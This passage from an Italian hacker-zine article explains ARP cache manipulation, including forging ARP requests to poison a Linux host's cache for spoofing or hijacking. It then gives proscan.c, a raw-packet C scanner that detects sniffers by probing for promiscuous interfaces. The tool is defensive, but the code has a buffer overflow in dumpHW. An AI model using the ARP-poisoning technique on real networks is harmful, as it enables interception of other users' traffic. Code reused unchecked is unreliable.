NON fara' alcunche' ai nostri pacchetti, dovremo pensare noi anche alla
frammentazione, nel caso servisse... Quindi non bisogna saltare alcun campo
delle varie strutture che ci servono, compresa quella dell'interfaccia
ethernet.

La specifica e' in ethernet.h in /usr/include/net/ :

/* 10Mb/s ethernet header */
struct ether_header
{
  u_int8_t  ether_dhost[ETH_ALEN];      /* destination eth addr */
  u_int8_t  ether_shost[ETH_ALEN];      /* source ether addr    */
  u_int16_t ether_type;                 /* packet type ID field */
};

Per il quando farlo ci sono sostanzialmente due modi: monitorare le
richieste ARP rispondendo prima degli host legali, oppure mediante continue
risposte ARP inviate ogni tot secondi a seconda del tempo di cancellamento
della cache ARP. Esiste anche la cosiddetta gratuitous ARP ovvero una
richiesta ARP fatta a se' stessi. Questo da un lato serve a vedere se non ci
siano gia' altri host con lo stesso IP, ma soprattutto a controllare eventuali
cambi di indirizzo. Quello che non tutti sanno e' che essendo anche questa
richiesta in BROADCAST, tutte le macchine della LAN terranno conto del nuovo
indirizzo ethernet, facendo cosi' l'update delle loro cache. Non tutti gli
stack reagiscono pero' allo stesso modo.

Un modo per costringere linux ad inserire nella cache un'entry e' quello
di eseguire una richiesta ARP da parte dell'host che intendiamo spoofare,
hijackare o DoSare (povero italiano :) verso l'host di cui vogliamo
corrompere la cache, usando il NOSTRO indirizzo hardware.

Esiste poi l'unsolicited ARP in cui rispondiamo senza avere richiesta. In
questo caso di default, linux NON accetta reply.

M A N I P O L A Z I O N I   A R P
alla ricerca di sniffer nella LAN

Ora pero' vi mostro un aspetto interessante dal punto di vista della
sicurezza. Tutti sanno quali effetti possano avere gli sniffer in una rete
locale, aziendale, universitaria... qualunque rete con qualche decina
di macchine ed utenti vogliosi di connettersi a destra e a manca.
Collezionare centinaia di coppie login/password per centinaia di siti e'
una impresa da poco per uno sniffer ben posizionato. E tutti gli admin
sanno quanto sia noioso cercare macchina per macchina gli indizi di uno
sniffer all'opera.

Spesso l'unico tratto saliente e' quello dell'attivazione della modalita'
promiscua delle interfacce di rete. Questa permette di agire e vagliare
pacchetti non specificatamente indirizzati alla macchina su cui lo sniffer
gira, ma potenzialmente TUTTI quelli di passaggio nella LAN. Questo
permette di controllare le connessioni di tutta la rete locale usando un
solo processo su di una sola macchina.

Ebbene ricordiamo adesso come vengano processate le richieste ARP. Il
livello hardware controlla i pacchetti che abbiano come destinazione
hardware l'indirizzo a 48bit di broadcast o multicast, e ne controllano
gli IP contenuti per sapere se, ed a chi, rispondere. Tutte le macchine
SONO costrette a rispondere ad una richiesta ARP, a meno che il kernel non
sia stato modificato o non sia all'opera nella LAN un proxy ARP che
gestisce il flusso ARP in maniera centralizzata.

Aggiungiamo a questo che uno sniffer ponga una interfaccia in modalita'
promiscua, consentendo al kernel di ricevere tutti i pacchetti presenti
nella LAN. Possiamo ipotizzare che lo stack ARP del kernel, accettando
la scheda pacchetti non indirizzati ad essa, possa processare richieste ARP
che pur NON usino destinazioni ethernet broadcast.

Se in questo caso ottenessimo risposta avremmo conferma della promiscuita'
della interfaccia di rete di una macchina, buon indice di uno sniffer
all'opera; questo ci permetterebbe di restringere la ricerca nelle nostre
reti e ci permetterebbe, come admin, di gestire il controllo in maniera
automatizzata anche mediante crond, ad esempio.

Questo concetto, uscito su comp.security.unix e' stato implementato in un
tool degli Apostols che prende il nome di NEPED. Quello che ho fatto e'
stato di ricodarlo e di AVERVI AGGIUNTO una nuova opzione. Prima di
spiegare quale o di mostrare il codice, un preambolo.

Il sistema delle query ARP funziona sui kernel linux fino a 2.0.35 ...
ma quasi tutte le macchine installate di fresco adesso montano il kernel
2.0.36 che ha introdotto delle modifiche per quanto riguarda la gestione
del sottosistema ARP, rendendo INUTILIZZABILE neped.c in quanto i
risultati non sono piu' sicuri. Vediamo perche'.

/usr/src/linux/net/ethernet/eth.c@204.299  (riga 204 di 299)

        else if(dev->flags&(IFF_PROMISC))
        {
                if(memcmp(eth->h_dest,dev->dev_addr, ETH_ALEN))
                        skb->pkt_type=PACKET_OTHERHOST;
        }

qui se la flag IFF_PROMISC e' stata settata per l'interfaccia di rete, allora
il tipo di pacchetto viene considerato non indirizzato alla nostra
interfaccia, dopo aver ovviamente controllato che l'indirizzo non corrisponda
e non sia BROADCAST (190.299).

/usr/src/linux/net/ipv4/arp.c@1774.2509

        if(skb->pkt_type == PACKET_OTHERHOST)
        {
                kfree_skb(skb, FREE_READ);
                return 0;
        }

qui notiamo per la prima volta nel kernel 2.0.36 che nel caso il tipo di
pacchetto, specificato nel buffer skb sia PACKET_OTHERHOST, allora il
buffer viene scartato e non avviene processo ARP. Quindi la destinazione
hardware dei pacchetti ARP dev'essere BROADCAST o MULTICAST, oppure deve
corrispondere al valore locale. Questo annulla ogni risultato di neped.c
qualora venga effettuato lo scan su macchine con 2.0.36 ... e non permette
neanche di modificare l'indirizzo in BROADCAST in quanto questo negherebbe
la deduzione sulla modalita' promiscua.

Non c'e' quindi modo di sapere se ci siano sniffer su macchine
con 2.0.36 ???? SI' CHE C'E' :)))) ed ora lo vedremo.

Ho controllato dentro ai sorgenti del kernel di linux ed ho visto che lo
stack relativo a ICMP permette un giochino simile a quello fatto con ARP.
Ovvero possiamo creare delle richieste di tipo ECHO indirizzandole ad
ethernet inesistenti. Ebbene, le macchine con kernel 2.0.36, ed inferiori
ovviamente, risponderanno allegramente alla query con un ECHO_REPLY se la
loro interfaccia e' in modalita' promiscua.

Vediamo ora il codice.

---------- snip ----------
/************************************************************************
* proscan.c             PROMISC Ethernet Scanner			*
*                                                                       *
*			Questo tool permette la scansione di un LAN	*
*			alla ricerca di interfacce di rete in modalita' *
*			promiscua. L'effetto viene ottenuto mediante	* 
*			utilizzo di query 'anomale'.			* 
*			Per la spiegazione vedere l'articolo " TCP/IP 	*
*			Hacks For Phun And Profit" su BFi5.		*
*			    BFi e' disponibile al seguente URL:		*
*			       http://softpj98.bbk.org/bfi/		*
*                                                                       *
* OS:                   Linux (SOCK_PACKET)               		*
* Credits:		Apostols, comp.security.unix, vari sniffer :)   * 
*                                                                       *
*                       NO(C)1998 FuSyS TCP/IP Tools Unlimited  	*
************************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#include <ioctls.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <time.h>

#define MAX_LEN		1500
#define IF_LEN		14
#define IP_ALEN		4
#define IP_HLEN         20
#define ICMP_HLEN       8

struct arp_hack {
	unsigned char h_dest[ETH_ALEN];
	unsigned char h_source[ETH_ALEN];
	unsigned short h_proto;
	unsigned short ar_hrd;
	unsigned short ar_pro;
	unsigned char ar_hln;
	unsigned char ar_pln;
	unsigned short ar_op;
	unsigned char ar_sha[ETH_ALEN];
	unsigned char ar_sip[IP_ALEN];
	unsigned char ar_tha[ETH_ALEN];
	unsigned char ar_tip[IP_ALEN];
};

struct pinghack {
        unsigned char h_dest[ETH_ALEN];
        unsigned char h_source[ETH_ALEN];
        unsigned short h_proto;
        unsigned char ihl_ver;
        unsigned char tos;
        unsigned short tot_len;
        unsigned short id;
        unsigned short frag_off;
        unsigned char ttl;
        unsigned char protocol;
        unsigned short check;
        unsigned long saddr;
        unsigned long daddr;
        unsigned char type;
        unsigned char code;
        unsigned short checksum;
        unsigned short icmp_id;
        unsigned short icmp_seq;
};

unsigned char mac[ETH_ALEN];
unsigned long dip, sip, netmask, broadcast, dmp, saddr;
char packet[MAX_LEN], *ptr;

void uso(void) {
        fprintf(stderr,"Uso: proscan -[a,p] <interfaccia>\n");
        exit (0);
}

char *ntoa(unsigned long ip) {
        static char buff[18];
        char *p;
        p = (char *) &ip;
        sprintf(buff, "%d.%d.%d.%d",
                (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
        return(buff);
}

char *dumpHW (unsigned char *hw_s) {
	static char buffer[ETH_ALEN];
	sprintf(buffer, "%02x:%02x:%02x:%02x:%02x:%02x",
	   hw_s[0], hw_s[1], hw_s[2], hw_s[3], hw_s[4], hw_s[5]);
	return buffer;
}

unsigned short ip_fast_csum(unsigned char * iph, unsigned int ihl) {
        unsigned int sum;

        __asm__ __volatile__("
            movl (%1), %0
            subl $4, %2
            jbe 2f
            addl 4(%1), %0
            adcl 8(%1), %0
            adcl 12(%1), %0
1:          adcl 16(%1), %0
            lea 4(%1), %1
            decl %2
            jne 1b
            adcl $0, %0
            movl %0, %2
            shrl $16, %0
            addw %w2, %w0
            adcl $0, %0
            notl %0
2:
            "
        : "=r" (sum), "=r" (iph), "=r" (ihl)
        : "1" (iph), "2" (ihl));
        return(sum);
}

int main (int argc, char **argv) {

	struct arp_hack *hack_p;
	struct pinghack *ping;
	struct ifreq ifr;
	struct sockaddr sa;
	int opt, sockfd, fd_flags, len, sa_len, pid, sent, optA=0, optP=0;

        if (geteuid() || getuid()) {
                fprintf(stderr, "Per utilizzare proscan devi essere Root\n",
			argv[0]);
                exit(0);
        }

  	if (argc < 3) uso();

	while ((opt = getopt(argc, argv, "ap")) != EOF) {
                switch(opt)
                {
                        case 'a':
                                optA=1;
                                break;
                        case 'p':
                                optP =1;
                                break;
                        default:
                                exit(1);
                                break;
                }
        }

	if(optA && optP) {
		fprintf(stderr, "\nNon puoi usare -a e -p insieme !!!\n");
		exit(1);
	}

	printf("\n\033[1;32m---]  P R O m i s c  S C A N n e r  [---\033[0m\n");
	printf("\033[1;34mno(C)1999 FuSyS - TCP/IP Tools Unlimited\033[0m\n");

	if(optA)
    	if((sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) <0) {
        	perror("SOCK_PACKET: problemi di allocazione\n");
        	exit(0);
    	}
	if(optP)
	if((sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP))) <0) {
                perror("SOCK_PACKET: problemi di allocazione\n");
                exit(0);
        }

  	strcpy (ifr.ifr_name, argv[2]);
  	if (ioctl (sockfd, SIOCGIFHWADDR, &ifr) < 0) {
    		perror("Non ho trovato l'indirizzo hardware locale !\n");
    		exit(1);
  	}
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	printf("\n\033[1;34m MAC Locale: \033[1;32m%s\033[0m\n", 
		dumpHW(mac));
	
	if (ioctl (sockfd, SIOCGIFADDR, &ifr) < 0) {
    		perror ("Non ho trovato l'indirizzo IP locale !\n");
    		exit(1);
  	}
	memcpy ((void *) &sip, (void *) &ifr.ifr_addr.sa_data + 2, IP_ALEN);
	printf ("\033[1;34m IP Locale : \033[1;32m%s\033[0m\n", 
		ntoa(sip));

	if (ioctl (sockfd, SIOCGIFNETMASK, &ifr) < 0) 
		fprintf(stderr, "Non ho trovato l'indirizzo NETMASK !");
  	memcpy ((void *)&netmask, (void *)&ifr.ifr_netmask.sa_data+2, IP_ALEN);
	printf ("\033[1;34m NETMASK   : \033[1;32m%s\033[0m\n", 
		ntoa(netmask));

	if (ioctl (sockfd, SIOCGIFBRDADDR, &ifr) < 0)
    		fprintf(stderr, "Non ho trovato l'indirizzo BROADCAST !\n");
  	memcpy((void *)&broadcast,(void *)&ifr.ifr_broadaddr.sa_data+2,IP_ALEN);
	printf ("\033[1;34m BROADCAST : \033[1;32m%s\033[0m\n", 
		ntoa(broadcast));

	if(optA)
	printf("\033[1;34m TECNICA   : \033[1;32mARPOP_REQUEST\033[0m\n");
	if(optP)
	printf("\033[1;34m TECNICA   : \033[1;32mICMP_ECHO\033[0m\n");
	fcntl(sockfd, F_GETFL);
  	fcntl(sockfd, F_SETFL, fd_flags | O_NONBLOCK);

	printf("\n\033[1;34m.oO Inizio Scansione Oo.\033[0m\n\n");
	
	if(optA)
	 for(dip=(ntohl(sip)&ntohl(netmask))+1;dip<ntohl(broadcast);dip++) {
		if(htonl(dip) == sip) {
                        dip++;
                }
		memset(&packet, 0, MAX_LEN);
		hack_p = (struct arp_hack *) packet;	
		
		memcpy (hack_p->h_dest, "\0\1\0\1\0\1", ETH_ALEN);       
		memcpy (hack_p->h_source, mac, ETH_ALEN);
		hack_p->h_proto = htons(ETH_P_ARP);
		hack_p->ar_hrd = htons(ARPHRD_ETHER);
		hack_p->ar_pro = htons(ETH_P_IP);
		hack_p->ar_hln = 6;
		hack_p->ar_pln = 4;
		hack_p->ar_op = htons(ARPOP_REQUEST);
		memcpy (hack_p->ar_sha, mac, ETH_ALEN);
		memcpy (hack_p->ar_sip, &sip, IP_ALEN);
		memcpy (hack_p->ar_tha, "\0\0\0\0\0\0", ETH_ALEN);
		dmp=htonl(dip);
		memcpy (hack_p->ar_tip, &dmp, IP_ALEN);

		strcpy(sa.sa_data, argv[2]);
      		sa.sa_family = AF_UNIX;

      		if( sendto (sockfd, packet, sizeof (struct arp_hack), 0, 
			&sa, sizeof(sa)) <0)          
				fprintf(stderr, "errore sendto\n");

      		usleep (50);
		memset(&packet, 0, MAX_LEN);
                hack_p = (struct arp_hack *) packet;

      		len = recvfrom (sockfd, packet, MAX_LEN, 0, &sa, &sa_len);
      		if (len <= IF_LEN) continue;

		memcpy (&dmp, hack_p->ar_tip, IP_ALEN);
      		memcpy (&saddr, hack_p->ar_sip, IP_ALEN);

      		if ( ntohs(hack_p->ar_op) == ARPOP_REPLY
          		&& dmp == sip && (dip-ntohl(saddr) >= 0 )
          		&& (dip-ntohl(saddr) <= 2 ) ) {
          	printf ("\033[1;32mIP %s, MAC %s - \033[5;32mModalita' Promiscua !\033[0m\n", 
			ntoa(saddr), dumpHW(hack_p->ar_sha));
        	}
	   }

	if(optP)
	 for(dip=(ntohl(sip)&ntohl(netmask))+1;dip<ntohl(broadcast);dip++) {
                if(htonl(dip) == sip) {
                        dip++;
                }
                sa_len = sizeof(struct sockaddr);
                memset(&sa, 0, sa_len);
                sa.sa_family = AF_UNIX;
                strcpy(sa.sa_data, argv[2]);
                
		memset(&packet, 0, MAX_LEN);
                ping = (struct pinghack *) packet;
                ptr = packet;
                
		memcpy(ping->h_dest, "\0\1\0\1\0\1", ETH_ALEN);
                memcpy(ping->h_source, mac, ETH_ALEN);
                ping->h_proto = htons(ETH_P_IP);
                ping->ihl_ver = 0x45;
                ping->tos = 0x00;
                ping->tot_len = htons(IP_HLEN+ICMP_HLEN);
                ping->id = 0x0000;
                ping->frag_off = 0x0000;
                ping->ttl = 0xFF;
                ping->protocol = IPPROTO_ICMP;
                ptr += 26; *((u_long *)ptr) = sip;
                ptr += 4; *((u_long *)ptr) = htonl(dip);
                ping->check = 0;
                ping->check = ip_fast_csum((unsigned char *)
                        ping+ETH_HLEN, 20);
                ptr +=4; *((u_char *)ptr) = 8;
                ptr +=1; *((u_char *)ptr) = 0;
                ptr +=3; *((u_short *)ptr) = pid;
                ptr +=2; *((u_short *)ptr) = 0xF001;
                ping->checksum = 0;
                ping->checksum = ip_fast_csum((unsigned char *)
                        ping+(ETH_HLEN+IP_HLEN), 8);

                if((sent=sendto(sockfd, &packet, ETH_HLEN+IP_HLEN+ICMP_HLEN, 0,
                        &sa, sa_len)) < 0 ) {
                        fprintf(stderr, "Errore sendto\n");
                        return(-1);
                }
                usleep(50);
                memset(&packet, 0, MAX_LEN);
                ptr = packet;

                len = recvfrom (sockfd, packet, ETH_HLEN+IP_HLEN+ICMP_HLEN, 0,
                        &sa, &sa_len);
                if (len <= ETH_HLEN) continue;

                ptr +=34;
                if(*((u_char*)ptr) == 0) {
                   ptr +=6;
                   if(*((u_short*)ptr) == 0xF001) {
                        ptr -=14;
                        if((dip - ntohl(*((u_long*)ptr)) >= 0) &&
                           (dip - ntohl(*((u_long*)ptr)) <= 2)) {
                  	printf ("\033[1;32mIP %s - <ECHOREPLY> \033[5;32mModalita' Promiscua !\033[0m\n", 
				ntoa(*((u_long*)ptr)));
                                }
                        }
                }
        }		
  	printf("\n\033[1;34m.oO  Fine Scansione  Oo.\033[0m\n\n");
	exit (0);
}
---------- snip ----------

Semplicemente alla linea di comando specificate con -a la query di tipo
ARPOP_REQUEST e con -p la query di tipo ICMP_ECHO. Come secondo argomento
inserite il nome della vostra interfaccia, ad esempio eth0, in modo che il
codice possa trovare i valori necessari ad identificare la vostra LAN.

Nel codice e' ben mostrato il concetto della creazione di pacchetti
mediante SOCK_PACKET, che siano IP o meno (ARP). Ricordate che ogni campo
degli header dev'essere onorato in quanto il kernel NON FARA' proprio
nulla per aiutarci nel calcolo dei checksum o nel byte order dei dati.

Putroppo ho notato or ora (qualche giorno dopo) che nel nuovo kernel 2.2.1
esiste un controllo simile a quello di 2.0.36 anche per quanto riguarda
ICMP:

/usr/src/linux/net/ipv4/icmp.h@515.1128

        if (skb_in->pkt_type!=PACKET_HOST)
                return;

hmmm. Sebbene non controlli se l'interfaccia fosse promiscua
(PACKET_OTHERHOST da eth.c) non risponde nel caso l'indirizzo ethernet
non sia esatto. 

Al momento non sono molte le installazioni con kernel 2.2.x ma nel caso ne
aveste nella vostra LAN e voleste controllare anche quelli dovreste
ricompilare il kernel modificando a scelta arp.c o icmp.c (o entrambi) in
modo che rispondano a query anomale come quelle di proscan.c

Questo non dara' problemi particolari a meno che anche gli attaccanti che
hanno inserito lo sniffer sappiano come e' stato modificato il kernel ed
in quel caso sarebbero solo possibili banali DoS, ma riconducibili ad un
uso di ping(8) ad esempio, il che non sarebbe vantaggioso neanche per uno
sniffer a caccia sulla LAN.

Per modificare arp.c nei 2.2.x :

/usr/src/linux/net/ipv4/arp.c@545.1138

        if (in_dev == NULL ||
            arp->ar_hln != dev->addr_len    ||
            dev->flags & IFF_NOARP ||
            skb->pkt_type == PACKET_OTHERHOST ||
            skb->pkt_type == PACKET_LOOPBACK ||
            arp->ar_pln != 4)
                goto out;

eliminate il controllo (o commentatelo) su PACKET_OTHERHOST, mentre in
icmp.c (come visto prima) aggiungete un controllo condizionale per questo
parametro. A quel punto proscan sara' ancora in grado di rilevare
interfacce promiscue nelle vostre reti, aiutandovi nella gestione della
sicurezza.

							FuSyS

P.S. 	per chi avesse domande puo' mandare mail alla redazione di BFi,
	sicuro che mi verranno forwardate :) e cerchero' di rispondervi.

P.P.S.	ormai pronta la beta di TH0T in grado di fare quanto teorizzato
	nei miei articoli su TCP/IP ed anche oltre :) Spero di potervi
	dare presto un URL per screenshots e sorgenti. Si', per UN!X :)


--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================